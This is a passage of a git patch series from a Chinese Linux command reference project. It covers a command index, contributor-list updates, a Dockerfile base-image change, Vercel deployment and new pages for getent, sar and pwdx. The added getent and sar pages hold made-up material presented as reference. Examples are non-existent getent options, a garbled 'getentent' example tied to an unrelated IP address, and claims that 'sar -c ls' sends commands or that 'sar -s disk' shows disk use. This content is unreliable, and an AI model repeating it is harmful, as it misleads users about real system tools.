Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index 242fbe5bd2b..3de75a15717 100644 --- a/package.json +++ b/package.json @@ -27,7 +27,7 @@ "devDependencies": { "@uiw/github-corners": "~1.5.11", "@wcj/dark-mode": "~1.0.14", - "colors-cli": "~1.0.28", + "colors-cli": "~1.0.31", "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", diff --git a/scripts/build.mjs b/scripts/build.mjs index 35ef657e1cd..97071f08cc9 100644 --- a/scripts/build.mjs +++ b/scripts/build.mjs @@ -4,7 +4,7 @@ import stylus from 'stylus'; import * as ejs from 'ejs'; import UglifyJS from 'uglify-js'; import { create } from 'markdown-to-html-cli'; -import _ from 'colors-cli/toxic.js'; +import _ from 'colors-cli/toxic'; const deployDir = path.resolve(process.cwd(), '.deploy'); const faviconPath = path.resolve(process.cwd(), 'template', 'img', 'favicon.ico'); From 3655c5f00db672356811ebef2c5e3a343250e6ab Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BE=90=E4=BC=9F?= Date: Sat, 11 Mar 2023 17:56:31 +0800 Subject: [PATCH 126/570] doc: Update command/dnf.md (#478) --- command/dnf.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/dnf.md b/command/dnf.md index c016b383caf..b2b5cb0b71f 100644 --- a/command/dnf.md +++ b/command/dnf.md @@ -7,9 +7,9 @@ dnf **DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近，它取代了yum，正式成为 Fedora 22 的包管理器。 -DNF包管理器克服了YUM包管理器的一些瓶颈，提升了包括用户体验，内存占用，依赖分析，运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中，但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识：《 DNF 代替 YUM ，你所不知道的缘由》 +DNF包管理器克服了YUM包管理器的一些瓶颈，提升了包括用户体验，内存占用，依赖分析，运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中，但你可以在使用 YUM 的同时使用 DNF 。 -DNF 的最新稳定发行版版本号是 1.0，发行日期是2015年5月11日。 这一版本的额 DNF 包管理器（包括在他之前的所有版本） 都大部分采用 Python 编写，发行许可为GPL v2. +DNF 的最新稳定发行版版本号是 1.0，发行日期是2015年5月11日。 这一版本的 DNF 包管理器（包括在他之前的所有版本） 都大部分采用 Python 编写，发行许可为GPL v2. ### 安装 DNF 包管理器 From c198e7d52985ad954503369a674f8923079d2417 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Mar 2023 09:57:08 +0000 Subject: [PATCH 127/570] doc: update README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index fe1ceda4c60..605c35b82f7 100644 --- a/README.md +++ b/README.md @@ -649,8 +649,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls24 + + sliux tangke @@ -694,6 +694,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 尘埃 + + 徐伟 + Loofra From 9ef569a8679f4403c1c5e66783baeb6c7bb8cc1c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Mar 2023 09:57:08 +0000 Subject: [PATCH 128/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 30844553b9c..21ca8fa6a55 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -312,8 +312,8 @@ snovey - - sunls24 + + sliux tangke @@ -357,6 +357,9 @@ 尘埃 + + 徐伟 + Loofra From 16ee10d617cbdcfd498b8c7cefa58fcf89856145 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 14 Mar 2023 12:33:11 +0800 Subject: [PATCH 129/570] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 605c35b82f7..acfe62217a4 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) -当前仓库搜集了 570 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 +当前仓库搜集了 580 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 [Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) | [Docker](#docker) From be81d6987847719df7474e677e717101f06b6dc7 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 14 Mar 2023 15:24:51 +0800 Subject: [PATCH 130/570] doc: Update Dockerfile #454 --- Dockerfile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 8fc49da1d13..a060675f82f 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,6 @@ # https://lipanski.com/posts/smallest-docker-image-static-website -# https://github.com/lipanski/docker-static-website -FROM lipanski/docker-static-website:latest +# https://github.com/forksss/docker-static-website +FROM wcjiang/docker-static-website:latest # Copy the static website # Use the .dockerignore file to control what ends up inside the image! From 4914edf7f5b49f6fb0b05e16db6f9bfcbd28a41d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Mar 2023 07:26:01 +0000 Subject: [PATCH 131/570] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index acfe62217a4..43e7cb46a10 100644 --- a/README.md +++ b/README.md @@ -427,8 +427,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Dazhuangw - - wa7t + + ptenst Shell From 056d910c2e60947931717bf0862629aef0a226f4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Mar 2023 07:26:02 +0000 Subject: [PATCH 132/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 21ca8fa6a55..e571ab6fc5b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -90,8 +90,8 @@ Dazhuangw - - wa7t + + ptenst Shell From 6482de64e64e7bb19ba80ded5d9b400cc6d3fa3a Mon Sep 17 00:00:00 2001 From: azureology <34760051+azureology@users.noreply.github.com> Date: Fri, 24 Mar 2023 18:41:46 +0800 Subject: [PATCH 133/570] doc: update command/trap.md (#482) --- command/trap.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/trap.md b/command/trap.md index d1b59672643..3d9a0457193 100644 --- a/command/trap.md +++ b/command/trap.md @@ -43,7 +43,7 @@ signal_spec：信号名称或信号名称对应的数字。 | ------- | --- | ---- | | SIGHUP | 1 | 本信号在用户终端连接（正常或非正常）结束时发出，通常是在终端的控制进程结束时，通知同一session内的各个作业，这时它们与控制终端不再关联。登录Linux时，系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序，包括前台进程组和后台进程组，一般都属于这个Session。当用户退出Linux登录时，前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程，因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程，这个信号用于通知它重新读取配置文件。 | | SIGINT | 2 | 程序终止(interrupt)信号，在用户键入 Ctrl+C 时发出。 | -| SIGQUIT | 3 | 和SIGINT类似，但由QUIT字符(通常是Ctrl /)来控制。进程在因收到SIGQUIT退出时会产生core文件，在这个意义上类似于一个程序错误信号。 | +| SIGQUIT | 3 | 和SIGINT类似，但由QUIT字符(通常是Ctrl+\\)来控制。进程在因收到SIGQUIT退出时会产生core文件，在这个意义上类似于一个程序错误信号。 | | SIGFPE | 8 | 在发生致命的算术运算错误时发出。不仅包括浮点运算错误，还包括溢出及除数为0等其它所有的算术错误。 | | SIGKILL | 9 | 用来立即结束程序的运行。本信号不能被阻塞，处理和忽略。 | | SIGALRM | 14 | 时钟定时信号，计算的是实际的时间或时钟时间。alarm 函数使用该信号。 | From 59c887775746830c274d2dbb0115eb33b8350c5d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 24 Mar 2023 10:42:52 +0000 Subject: [PATCH 134/570] doc: update README.md. --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 43e7cb46a10..6b40a4d5944 100644 --- a/README.md +++ b/README.md @@ -340,8 +340,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - - 小弟调调™ + + 小弟调调 ZhuangZhu-74 @@ -388,9 +388,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lnkstls - - Segfault - lavaicer @@ -559,6 +556,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 asunrong + + azureology + bell From b4d3bad2c4ccb5b484b40b5e2d670dcee98db709 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 24 Mar 2023 10:42:53 +0000 Subject: [PATCH 135/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index e571ab6fc5b..6f051ba3588 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,8 +3,8 @@

贡献者列表

- - 小弟调调™ + + 小弟调调 ZhuangZhu-74 @@ -51,9 +51,6 @@ Lnkstls - - Segfault - lavaicer @@ -222,6 +219,9 @@ asunrong + + azureology + bell From 020b2bba2a66729b6e7d50ffd6a59ccf3ec3eb36 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 3 Apr 2023 12:17:34 +0800 Subject: [PATCH 136/570] feat: add getent.md #483 --- command/getent.md | 69 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 command/getent.md diff --git a/command/getent.md b/command/getent.md new file mode 100644 index 00000000000..1a21dbbaee8 --- /dev/null +++ b/command/getent.md @@ -0,0 +1,69 @@ +getent +=== + +查询 DNS 名称服务器中的命名空间 + +## 语法 + +```shell +getent [选项] 主机名或域名 +``` + +## 选项 + +```shell +-h # 显示帮助信息 +-n # 不解析 DNS 名称 +-p # 打印解析过程 +-s # 只输出有关已知主机的信息 +-t # 指定 DNS 查询类型 (默认为 NXDOMAIN) +-U # 使用顶级域名服务器 +-V # 显示版本信息 +-O # 以其他模式解析命名空间 +``` + +主机名或域名可以是通配符 (例如 *.example.com) 或单个主机名。如果指定了 -h 选项，则显示帮助信息。如果指定了 -n 选项，则不再解析 DNS 名称。如果指定了 -p 选项，则打印解析过程。如果指定了 -s 选项，则只输出有关已知主机的信息。如果指定了 -t 选项，则指定 DNS 查询类型 (默认为 NXDOMAIN)。如果指定了 -U 选项，则使用顶级域名服务器。如果指定了 -V 选项，则显示版本信息。如果指定了 -O 选项，则解析命名空间以其他模式。 + +## 实例 + +1. 查看所有已知账户: + +```shell +getent passwd +``` + +这将列出所有已知账户的密码文件，例如 `/etc/passwd` 或 `/run/user/1000/gshadow`。 + +2. 查看指定账户的信息: + +```shell +getent passwd someuser +``` + +这将只列出指定用户的信息，例如用户名、密码、uid、gid 等。 + +3. 查看指定域名的 DNS 记录: + +```shell +getent host example.com +``` + +这将列出 example.com 域名的 DNS 记录，包括主机名、IP 地址和其他相关信息。 + +4. 查看指定 IP 地址的 TCP 连接信息: + +```shell +getentent ips8.ipaddress.com 80 +``` + +这将列出 IP 地址为 192.168.0.100 的 TCP 连接信息，例如连接的服务器地址、端口号和连接状态。 + +5. 查看指定主机的已知端口: + +```shell +getent port somehost.example.com +``` + +这将列出指定主机的已知端口，例如端口号、协议和主机名。 + +这些只是 `getent` 命令的一些例子，它还有许多其他用法和选项，可以根据需要进行调整。 \ No newline at end of file From bb12dc3a093711166f202320dbeda1c2545d80af Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Apr 2023 04:18:33 +0000 Subject: [PATCH 137/570] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 6b40a4d5944..d36de2bc3e4 100644 --- a/README.md +++ b/README.md @@ -649,8 +649,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sliux + + sunix tangke @@ -715,8 +715,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 继刚 - - huzk + + Pine 谢民皆 From bced47a9404660bf62c04910cea1a0568b90131d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Apr 2023 04:18:34 +0000 Subject: [PATCH 138/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 6f051ba3588..f5b673f0452 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -312,8 +312,8 @@ snovey - - sliux + + sunix tangke @@ -378,8 +378,8 @@ 继刚 - - huzk + + Pine 谢民皆 From fd20318e8776bc1ce6d4e3ffc2d1204ae8f0f0eb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 3 Apr 2023 12:27:43 +0800 Subject: [PATCH 139/570] feat: add command/sar.md (#405) --- command/sar.md | 71 ++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 55 insertions(+), 16 deletions(-) diff --git a/command/sar.md b/command/sar.md index bb0858c760c..fe73f3738b8 100644 --- a/command/sar.md +++ b/command/sar.md @@ -16,21 +16,29 @@ sar(选项)(参数) ### 选项 ```shell --A：显示所有的报告信息； --b：显示I/O速率； --B：显示换页状态； --c：显示进程创建活动； --d：显示每个块设备的状态； --e：设置显示报告的结束时间； --f：从指定文件提取报告； --i：设状态信息刷新的间隔时间； +-A: 显示所有的报告信息； +-b: 显示I/O速率； +-B: 显示换页状态； +-c: 显示进程创建活动； +-d: 显示每个块设备的状态； +-e: 设置显示报告的结束时间； +-f: 从指定文件提取报告； +-i: 设状态信息刷新的间隔时间； -n: 报告网络统计信息。 --P：报告每个CPU的状态； --R：显示内存状态； --u：显示CPU利用率； --v：显示索引节点，文件和其他内核表的状态； --w：显示交换分区状态； --x：显示给定进程的状态。 +-P: 报告每个CPU的状态； +-R: 显示内存状态； +-u: 显示CPU利用率； +-v: 显示索引节点，文件和其他内核表的状态； +-w: 显示交换分区状态； +-x: 显示给定进程的状态。 +``` + +```shell +-r: 以分页方式显示输出，每页最多显示 100 行。 +-o: 输出选项，指定要显示的列。例如，`-o mrk,prt,cvg` 将显示 CPU 使用率、进程标识符、磁盘使用率 和 网络流量。 +-t: 时间戳选项，指定要在输出中添加时间戳。 +-s: 统计选项，指定要显示的统计数据的类型。例如，`-s us,ms` 将显示 CPU 使用率的 us 和 ms 时间段的平均值。 +-c: 选项用于指定要发送的命令。例如，`-c ls` 将显示当前目录中的文件和子目录列表。 ``` ### 参数 @@ -40,7 +48,7 @@ sar(选项)(参数) ### 实例 - **察看内存和交换空间的使用率：** +**察看内存和交换空间的使用率：** ```shell sar -r @@ -60,7 +68,7 @@ Average: 324346 964374 74.83 kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间，后面跟着的是已使用空间的百分比（%memused字段）。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量，单位为KB。 - **观察系统部件10分钟，并对数据进行排序：** +**观察系统部件10分钟，并对数据进行排序：** ```shell sar -o temp 60 10 @@ -72,5 +80,36 @@ sar -o temp 60 10 sar -r -n DEV -f /var/log/sa/sa16 ``` +**查看 CPU 使用率：** + +```shell +sar -t +``` + +**查看磁盘使用率：** + +```shell +sar -s disk +``` + +**查看网络流量：** + +```shell +sar -s nic +``` + +**发送命令到系统服务：** + +```shell +sar -c ls +``` + +**显示系统当前时间戳：** + +```shell +sar -t +%s +``` +这些只是 `sar` 命令的一些示例，您可以根据具体需求选择不同的选项和参数。 +注意: `sar` 命令的输出结果可能会因为系统性能的不同而有所不同。如果要获得更准确的结果，请考虑在系统性能最佳的时候进行监控。 \ No newline at end of file From 1adf5981119e2aed645963320bbc4cbb13041bec Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 12 Apr 2023 11:23:48 +0800 Subject: [PATCH 140/570] feat: add command/pwdx.md (#484) --- command/pwdx.md | 61 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 command/pwdx.md diff --git a/command/pwdx.md b/command/pwdx.md new file mode 100644 index 00000000000..c0eeb3cc97d --- /dev/null +++ b/command/pwdx.md @@ -0,0 +1,61 @@ +pwdx +=== + +用于显示指定进程的当前工作目录 + +## 内建命令 + + +### 概要 + +```shell +pwdx [进程ID] +``` + +### 参数说明 + +- `进程ID`：要查询的进程ID，可以使用 `ps` 命令查看。 + +## 示例 + + +下面示例中，使用 `ps` 命令查看 `nginx` 进程的信息，然后使用 `pwdx` 命令查询进程ID为 `5678` 的进程的当前工作目录。 + +```bash +$ ps -ef | grep nginx +# root 1234 1 0 10:00 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; +# www-data 5678 1234 0 10:01 ? 00:00:00 nginx: worker process + +$ pwdx 5678 +# 5678: /var/www/html +``` + +查看当前进程的工作目录： + +```bash +$ pwdx $$ +``` + +查看指定进程的工作目录： + +```bash +$ pwdx 1234 +``` + +批量查看多个进程的工作目录： + +```bash +$ ps aux | awk '{print $2}' | xargs pwdx +``` + +结合其他命令，查看某个进程的工作目录和命令行： + +```bash +$ ps -p 1234 -o cmd | tail -n 1 | awk '{print $1}' | xargs pwdx +``` + +查看所有进程的工作目录： + +```bash +$ ps -eo pid | xargs pwdx +``` \ No newline at end of file From e916913f55a25e14e577a28bded873eb99572fc3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 12 Apr 2023 03:24:56 +0000 Subject: [PATCH 141/570] doc: update README.md. --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index d36de2bc3e4..29adfd368bb 100644 --- a/README.md +++ b/README.md @@ -478,8 +478,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lucien - - 王勇涛 + + M4n5ter mwei @@ -715,8 +715,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 继刚 - - Pine + + Koyfin 谢民皆 @@ -724,8 +724,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 远方 - - 鞍马稀 + + catAndZ 黑&蛋 From e9f8d577b190262d66103e42b9fc0bfdd3bdf170 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 12 Apr 2023 03:24:57 +0000 Subject: [PATCH 142/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index f5b673f0452..bdc61bd61a3 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -141,8 +141,8 @@ Lucien - - 王勇涛 + + M4n5ter mwei @@ -378,8 +378,8 @@ 继刚 - - Pine + + Koyfin 谢民皆 @@ -387,8 +387,8 @@ 远方 - - 鞍马稀 + + catAndZ 黑&蛋 From d90937cf69c4faa7934ccfb5ce68b7f40cc3b87d Mon Sep 17 00:00:00 2001 From: "jqz3.tech" Date: Fri, 14 Apr 2023 15:52:15 +0800 Subject: [PATCH 143/570] ci: add vercel deploy (#485) * ci: add vercel config file to override `outputDirectory` to `.deploy` https://vercel.com/docs/concepts/projects/project-configuration#outputdirectory * docs(readme.md): add vercel deploy description --- README.md | 15 +++++++++++++++ assets/vercel.png | Bin 0 -> 178008 bytes vercel.json | 3 +++ 3 files changed, 18 insertions(+) create mode 100644 assets/vercel.png create mode 100644 vercel.json diff --git a/README.md b/README.md index 29adfd368bb..fb583d94d0a 100644 --- a/README.md +++ b/README.md @@ -152,6 +152,21 @@ docker run --name linux-command -itd -p 9665:3000 ghcr.io/jaywcjlove/linux-comma http://localhost:9665/ ``` +## Vercel + +可以点击下面按钮一键部署至 [Vercel](https://vercel.com): + +[![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/clone?repository-url=https://github.com/jaywcjlove/linux-command) + +
+部署结果 + +![](./assets/vercel.png) + +
+ +通过 Vercel 分配的域名访问，或者自行在设置中绑定域名。 + ## 目录 - [目录](#目录) diff --git a/assets/vercel.png b/assets/vercel.png new file mode 100644 index 0000000000000000000000000000000000000000..02d84e983c57b68237722f18aa60f62692324f87 GIT binary patch literal 178008 zcmd42WmH_-wl0cm2<|SyH4xn0-Q6X)1b0GkcP%7Ha0?dPo#5{7QaA|_L3^&!o!m4qMmk`&%Mdnn0g@4z*7V!E8 zcpJ;++2Ffab)9T?y~qMWkTJN37pQBa2XdGcbN3B~kYE#w4WdADkU>!VhVdqH_!f>& zLxlK*sC4G*dhvWrC z-b3-#U}k#S3xQN>5idf-_xms?`r+c5>Xpf=jgclSiFW7cr##}iT0FVzUd5A8(@ub# zZkf5|doght8Pg54K6*+Yca{%pMgu($U3vI8m&My9+%nsQg1xKnG{@cnxpQCZYJUVl zvS*WBT8>_u*Y#Sa1Gcbvd$(`Umh=%#aa_OgY%h6zpxgQwfB|3{1>|7i@bu~ghj-ym zNF&|?VoZiXrZV9b{vE#u&D;$gmzHNfcIZ_HG7)BFVC^&L@mV$ccf|8#u~W)w62@H| 